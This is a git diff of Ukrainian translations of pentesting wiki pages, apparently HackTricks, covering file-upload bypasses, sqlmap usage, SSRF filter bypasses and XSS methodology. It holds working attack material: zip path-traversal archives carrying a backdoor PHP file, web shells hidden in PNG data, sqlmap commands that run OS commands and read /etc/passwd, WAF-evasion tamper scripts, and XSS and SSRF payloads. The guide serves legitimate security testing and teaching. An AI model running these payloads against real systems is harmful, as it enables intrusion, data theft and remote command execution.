3. Завантажте файл з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache у **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
3. Завантаження файлу з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache у **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** у **NTFS**. (Windows)
5. Завантажте файл у **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows)
6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
@ -128,12 +128,12 @@ characters = @(call://uwsgi_func)
```
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та проаналізована, процес uWSGI повинен бути перезапущений (можливо, після збою або через атаку відмови в обслуговуванні) або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл через певні інтервали при виявленні змін.
Важливо зрозуміти м'яку природу парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
Важливо зрозуміти м'який характер парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
## **wget File Upload/SSRF Trick**
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **ця перевірка може бути обійдена.**\
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
Максимальна довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,11 +156,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Зверніть увагу, що **інший варіант**, про який ви можете думати, щоб обійти цю перевірку, - це зробити так, щоб **HTTP сервер перенаправляв на інший файл**, тому початкова URL-адреса обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це **не спрацює** **якщо** wget не використовується з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з назвою файлу, вказаною в оригінальній URL-адресі**.
Зверніть увагу, що **інший варіант**, про який ви можете думати, щоб обійти цю перевірку, - це зробити так, щоб **HTTP сервер перенаправляв на інший файл**, тому початковий URL обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це **не спрацює** **якщо** wget не використовується з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з назвою файлу, вказаною в оригінальному URL**.
## Інструменти
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) - це потужний інструмент, розроблений для допомоги пентестерам та шукачам вразливостей у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) - потужний інструмент, розроблений для допомоги пентестерам та шукачам вразливостей у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
## Від завантаження файлів до інших вразливостей
@ -185,10 +185,10 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Збережений XSS / SSRF / XXE
3. **GIF**: Збережений XSS / SSRF
4. **CSV**: CSV-ін'єкція
4. **CSV**: Ін'єкція CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML-ін'єкція / XSS / Відкрите перенаправлення
7. **HTML / JS** : Ін'єкція HTML / XSS / Відкрите перенаправлення
8. **PNG / JPEG**: Атака піксельного затоплення (DoS)
9. **ZIP**: RCE через LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
@ -206,11 +206,11 @@ https://github.com/portswigger/upload-scanner
Дивіться [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) для інших типів файлів.
### Автоматично розпаковане завантаження Zip/Tar файлів
## ZIP/TAR файл автоматично розпакований при завантаженні
Якщо ви можете завантажити ZIP, який буде розпаковано на сервері, ви можете зробити 2 речі:
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
#### Symlink
### Символьне посилання
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
```
@ -218,7 +218,7 @@ ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Розпакування в різних папках
### Розпакування в різні папки
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP-архіву можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Модифікація за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex editor, змінюючи "xxA" на "../" для переходу між каталогами.
3. **Модифікація за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex редактора, змінюючи "xxA" на "../" для переходу між каталогами.
```bash
:set modifiable
@ -291,7 +291,7 @@ pop graphic-context
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надано в наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, наведено в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
Більше інформації в: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
@ -299,12 +299,20 @@ pop graphic-context
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження—як JPEG, GIF або DOC—щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних програмах є дозволяти лише певні типи файлів для завантаження—як JPEG, GIF або DOC—щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїїв кількох типів файлів, може непомітно обійти ці обмеження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
Більше інформації в: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Завантаження дійсних JSON, як якщо б це був PDF
Як уникнути виявлення типу файлу, завантажуючи дійсний JSON-файл, навіть якщо це не дозволено, підробляючи PDF-файл (техніки з **[цього блогу](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` бібліотека**: Якщо байти магії `%PDF` знаходяться в перших 1024 байтах, це дійсно (отримати приклад з посту)
- **`pdflib` бібліотека**: Додати підроблений PDF-формат всередині поля JSON, щоб бібліотека вважала, що це PDF (отримати приклад з посту)
- **`file` бінарний**: Він може прочитати до 1048576 байтів з файлу. Просто створіть JSON, більший за це, щоб він не міг розібрати вміст як JSON, а потім всередині JSON помістіть початкову частину справжнього PDF, і він подумає, що це PDF
## Посилання
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
@ -313,5 +321,6 @@ pop graphic-context
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -25,7 +25,7 @@
```
### Отримати інформацію
#### Внутрішня
#### Внутрішній
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -49,7 +49,7 @@
### З захоплення Burp/ZAP
Захопіть запит і створіть файл req.txt
Захопіть запит і створіть файл req.txt.
```bash
sqlmap -r req.txt --current-user
```
@ -80,13 +80,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```bash
--string="string_showed_when_TRUE"
```
### Додати техніку виявлення
Якщо ви знайшли SQLi, але sqlmap не виявив його, ви можете примусити техніку виявлення з аргументами, такими як `--prefix` або `--suffix`, або, якщо це більш складно, додати її до payloads, які використовуються sqlmap у `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, наприклад, для time blind.
### Eval
**Sqlmap** дозволяє використовувати `-e` або `--eval` для обробки кожного payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**:
**Sqlmap** дозволяє використовувати `-e` або `--eval`, щоб обробити кожен payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Оболонка
### Шелл
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -101,7 +105,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```bash
--file-read=/etc/passwd
```
### Обхід веб-сайту за допомогою SQLmap та автоматичне використання експлойтів
### Обход веб-сайту з SQLmap та автоматичне використання експлойтів
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -109,7 +113,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
### Ін'єкція другого порядку
### Вторинна ін'єкція
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
@ -133,7 +137,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого порядку ін'єкції тут](second-order-injection-sqlmap.md).
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого Порядку Впровадження тут](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -141,28 +145,28 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| Tamper | Опис |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
| base64encode.py | Кодує всі символи в заданому payload у Base64 |
| between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
| commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
| commalessmid.py | Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)' |
| commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
| commalessmid.py | Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)' |
| concat2concatws.py | Замінює випадки на кшталт 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "%u0022" |
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "\u0022" |
| equaltolike.py | Замінює всі випадки оператора рівності ('=') на оператор 'LIKE' |
| escapequotes.py | Екранує лапки (' і ") |
| greatest.py | Замінює оператор більше ніж ('>') на його аналог 'GREATEST' |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)' |
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "%u0022" |
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "\u0022" |
| equaltolike.py | Замінює всі випадки оператора рівності ('=') на оператор 'LIKE' |
| escapequotes.py | Екранує лапки (' і ") |
| greatest.py | Замінює оператор більше ніж ('>') на його аналог 'GREATEST' |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Обгортає повний запит у версійний коментар |
| modsecurityzeroversioned.py | Обгортає повний запит у коментар з нульовою версією |
| multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів |
| nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри |
| percentage.py | Додає знак відсотка ('%') перед кожним символом |
| percentage.py | Додає знак відсотка ('%') перед кожним символом |
| overlongutf8.py | Конвертує всі символи в заданому payload (не обробляючи вже закодовані) |
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
@ -173,7 +177,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2morehash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
| space2mssqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
| space2mssqlhash.py | Замінює символ пробілу (' ') на символ фунта ('#') за яким слідує новий рядок ('\n') |
| space2mssqlhash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує новий рядок ('\n') |
| space2mysqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
| space2mysqldash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує новий рядок ('\n') |
| space2plus.py | Замінює символ пробілу (' ') на плюс ('+') |
@ -183,9 +187,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| unmagicquotes.py | Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало) |
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар |
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL |
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL |
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
### Локальний хост
### Localhost
```bash
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
@ -143,9 +144,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Обхід шляхів та розширень
### Paths and Extensions Bypass
Якщо вимагається, щоб URL закінчувався шляхом або розширенням, або повинен містити шлях, ви можете спробувати один з наступних обходів:
Якщо вимагається, щоб URL закінчувався шляхом або розширенням, або повинен містити шлях, ви можете спробувати один з наступних обхідних шляхів:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -165,9 +166,9 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
### Bypass via redirect
Можливо, що сервер **фільтрує оригінальний запит** SSRF **але не** можливу **перенаправлену** відповідь на цей запит.\
Можливо, що сервер **фільтрує оригінальний запит** SSRF **але не** можливу **відповідь на перенаправлення** на цей запит.\
Наприклад, сервер, вразливий до SSRF через: `url=https://www.google.com/`, може **фільтрувати параметр url**. Але якщо ви використовуєте [python сервер для відповіді з 302](https://pastebin.com/raw/ywAUhFrv) на місце, куди ви хочете перенаправити, ви можете отримати **доступ до відфільтрованих IP-адрес** таких як 127.0.0.1 або навіть відфільтрованих **протоколів** таких як gopher.\
[Перегляньте цей звіт.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3

View File

@ -10,7 +10,7 @@
1. Чи можете ви створити нові HTML теги?
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
3. Чи можете ви обійти захист?
4. Чи інтерпретується HTML контент будь-яким клієнтським JS движком (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. Всередині **HTML тегу**:
1. Чи можете ви вийти в сирий HTML контекст?
@ -18,14 +18,14 @@
3. Чи підтримує атрибут, в якому ви застрягли, виконання JS?
4. Чи можете ви обійти захист?
3. Всередині **JavaScript коду**:
1. Чи можете ви втекти з тегу `<script>`?
2. Чи можете ви втекти з рядка і виконати різний JS код?
1. Чи можете ви втекти з `<script>` тегу?
2. Чи можете ви втекти з рядка і виконати інший JS код?
3. Чи ваші введення в шаблонних літералах \`\`?
4. Чи можете ви обійти захист?
4. Javascript **функція**, що **виконується**
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
4. Якщо **використовується**:
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як ваше введення контролюється і чи використовується ваше **контрольоване введення будь-яким sink.**
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як ваше введення контролюється і чи ваше **контрольоване введення використовується будь-яким sink.**
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
@ -57,7 +57,7 @@ debugging-client-side-js.md
1. **Втекти з атрибута і з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="**
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
```html
@ -69,8 +69,8 @@ debugging-client-side-js.md
У цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку парсить HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений `</script>` тег знаходиться всередині HTML-коду.
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** ваш код і **відновити** JS код (якщо є помилка, він не буде виконаний):
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений тег `</script>` знаходиться всередині HTML-коду.
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** свій код і **відновити** JS код (якщо є помилка, він не буде виконаний):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
@ -92,9 +92,9 @@ js-hoisting.md
### Javascript Function
Декілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в дії, це щось на зразок: `?callback=callbackFunc`.
Декілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в дії, це щось на кшталт: `?callback=callbackFunc`.
Добрий спосіб дізнатися, чи щось, що надається безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
Добрий спосіб дізнатися, чи щось, що надано безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
![](<../../images/image (711).png>)
@ -132,7 +132,7 @@ dom-xss.md
### **Універсальний XSS**
Ці види XSS можуть бути знайдені **де завгодно**. Вони не залежать лише від експлуатації клієнта веб-додатку, а від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах, і більше.\
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, а й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах та багато іншого.\
Деякі **приклади**:
{{#ref}}
@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md
## Впровадження всередині сирого HTML
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти і впровадити HTML код в цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML кодується** або **видаляється**, або якщо він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
Для цих випадків також **пам'ятайте** про [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Примітка: HTML коментар може бути закритий за допомогою\*\*\*\*\*\***\***\*`-->`\*\***\***\*або \*\*\*\*\*\***`--!>`\*\*_
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти та впровадити HTML-код у цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML-кодований** або **видалений**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
Для цих випадків також **пам'ятайте** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Примітка: HTML-коментар може бути закритий за допомогою\*\*\*\*\*\***\***\*`-->`\*\***\***\*або \*\*\*\*\*\***`--!>`\*\*_
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати payloads, такі як:
```html
@ -166,7 +166,7 @@ alert(1)
### Перебір тегів/подій
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **перебрати всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
Перейдіть до [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **перебрати всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
### Користувацькі теги
@ -235,7 +235,7 @@ onerror=alert`1`
```
Останній використовує 2 символи юнікоду, які розширюються до 5: telsr\
Більше таких символів можна знайти [тут](https://www.unicode.org/charts/normalization/).\
Щоб перевірити, в які символи розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
